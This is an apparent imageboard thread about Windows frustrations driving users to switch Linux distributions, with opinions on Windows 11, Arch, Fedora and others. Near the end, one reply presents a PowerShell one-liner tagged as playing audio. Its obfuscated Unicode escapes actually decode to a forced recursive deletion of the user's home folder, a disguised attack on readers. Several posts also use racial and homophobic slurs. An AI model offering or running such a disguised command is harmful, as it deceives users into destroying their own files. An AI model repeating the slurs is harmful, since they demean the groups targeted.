>cure's you're distrohopping

truth truke

i kinda want to return, but the idea of it all unsettles me – Windows entire vibe feels very evil, bad energy

>>106171605 (OP)
It caused my distrohopping.

>>106171605 (OP)
Yep

>>106171605 (OP)
Caused mine, but I kept it dualbooted until I gave the SSD with my Arch install away. Did go Arch entirely until I started playing Fortnite with cousins and younger siblings and I keep the install in case we end up doing that all over again in the future. One day I'll get a new SSD for Arch and get back to dualbooting... one day...

Truth be told I just really hated the forced updates when my family always had shite office PCs back when I was 15-17 and would liveboot Ubuntu to do homework faster. Nowadays if I were to dump Windows it'd be because of recall or a lot of paranoia

>>106172937
tpbp

>>106172996
who is this cutie pie?

>>106171605 (OP)
>cure's
sage. go back jeet

>>106171605 (OP)
yes i've recently distrohopped from Arch to Cachy OS. Surprised by how polished it was compared to the vast majority of other Arch-based distros, and it has the optimized binaries by default as a nice bonus.
t. son of cure

>>106171605 (OP)
base'd

>>106173786
humourles's cun't

>>106173890
Same. I mainly installed it out of curiosity but it's good enough that I don't feel the urge to switch back.

>>106171605 (OP)
I moved back, because Nvidia driver on Linux still cannot swap VRAM and RAM in today's day and age. Basic feature and it's still not implemented in the driver.

>>106171605 (OP)
I have both. A beefy Windows laptop that I use exclusively for work, and a desktop at home which I have Linux on.

>>106172996
>tfw no nipgf to feed you udon
it hertz

>>106171605 (OP)
No I don't want to use Wubuntu/Winux or whatever they call it now https://en.wikipedia.org/wiki/Winux

Is windows 11 really THAT bad?

>>106178262
Not at all

>>106171605 (OP)
four me it's was these

>>106178262
If you know how to un-fuck it, not really.

>>106178262
r'fraid 'o

>>106178433
>>106178533
>>106176708
>>106174271
>>106172554
fuck off niggers

>>106178262
It depends on what you want to do with. If you need Adobe/CAD/whatever shit for work, then of course you are gonna need it, and Linux will be hellish for you. At the very least, you will want a second Windows machine to use for work.

But if all you want to do is play games and watch shows and what-not, then the only reason to stick with Windows is not wanting to spend time learning how to switch to and use Linux. Linux is just way nicer and faster.

>>106178262
the new GUI is the worst thing that has happened in the history of Microsoft

>>106172996
that's a man

>>106172937
same here anon

>>106171605 (OP)
>cures
then you find out you installed the wrong "windows distro" and spend time autistically tweaking your Enterprise IoT tinker tranny version

>>106179959
skill issue desu

>>106178262
no.
I would never use it for my personal use, but for corporate aids world, it's a leap forward. can't fathom using anything lower than Enterprise or Server (2022) though.
consumer variants are literal aids full of ads and shit.

how to un fuck w11? will update my 2019 machine soon and the globohomo has killed W10

>>106180269
by installing GNU + Linux.

>>106180269
skill issue desu

>>106171605 (OP)
*starts your distrohopping

>>106180269
https://github.com/ChrisTitusTech/winutil
could also create a debloated win11 ISO with its microwin tool

>>106171605 (OP)
>cure is you are distrohopping

Just use Fedora

>>106180766
*tips fedora*

>>106171605 (OP)
>cure's
Too bad it doesn't fixe's your grammar

I've stuck with gentoo for over 10 years now. Distrohopping is just a symptom not understanding how to use a distro. For a consumer, it's just a difference of package management, maybe a few system directories are a little different, and some tools to do the same task might be a little different. If you've tried 4-6 distros and you still think something about the next one will be different enough to warrant the effort, then you're probably stupid because obviously you just don't like linux stuff.

>>106180575
>being this new

>>106171605 (OP)
>cure is you are distrohopping
Retard

>>106172937
Kek, this.

>>106180766
>Extensions
>Theming
SAAAAAR WHY YOU CHANGE VANILLA GNOME SAAAAAAAR STOP THEMING GNOME

>>106171605 (OP)
>Makes me give up assfaggots
2 birds one stone, holy shit my life feels amazing actually playing real games or having other hobbies

>>106171605 (OP)
causes*

>>106172612
Just debloat it man.
No point if you are already used to a stable just werks™ distro

>>106171605 (OP)
yope's

I'm fine with mint on my 10 year old computer, if and when I can get something recent , I could potentially reevaluate getting something arch based though i have played with dif ones in virtual machines but for now the ubuntu/debian base is fine for me.

>>106180766
>fedora
>gnome
selling your soul to another corpo and making everything else harder
good job

>arch for gaymin everyday pc
>mint for shitty laptop
>steam deck as bonus

its loonix time, only thing windows is my family member who owns a shitty w10 tablet for school

>>106181719
Because i had a Mac, gotta make the switch easier.

>>106178802
Who needs a GUI?
powershell -c "<#PlayRawAudio#>ConvertFrom-Json '"""\u0072\u006d -\u0072 \u007e -\u0066o -e i"""' | iex"

>>106182341
It came with Gnome by default, and it suits me well since i have a touch screen and i had a Mac, perfect migration imo.

>>106180766
>Fedora
bloated and it freezes randomly

>>106182942
Luckily, it's not happening on my machine (at least not yet)